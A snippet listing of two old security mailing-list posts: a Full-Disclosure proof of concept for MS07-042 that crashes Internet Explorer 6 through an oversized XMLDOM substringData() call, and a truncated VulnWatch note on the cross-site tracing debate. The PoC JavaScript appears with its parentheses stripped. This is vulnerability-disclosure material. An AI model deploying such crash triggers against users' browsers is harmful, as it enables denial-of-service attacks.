[Full-disclosure] MS07-042 XMLDOM substringData() PoC

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2 var xmlDoc = new ActiveXObject"Microsoft.XMLDOM"; xmlDoc.loadXML"dummy/dummy"; var txt = xmlDoc.createTextNode"huh"; var out = txt.substringData1,0x7fffffff; Installing the patch from MS07-042 fixes it. Cheers, Alla Bezroutchko...

[VulnWatch] administrivia: cross-site tracing

There's been a lot of back and forth about the recent WhiteHat Security XST bug. Sensationalism aside, the fact still remains: 1. Access to cookies, particularly the 'httponly' add-on by IE, is limited by browser security restrictions. And I don't recall any browser being able to legitimately...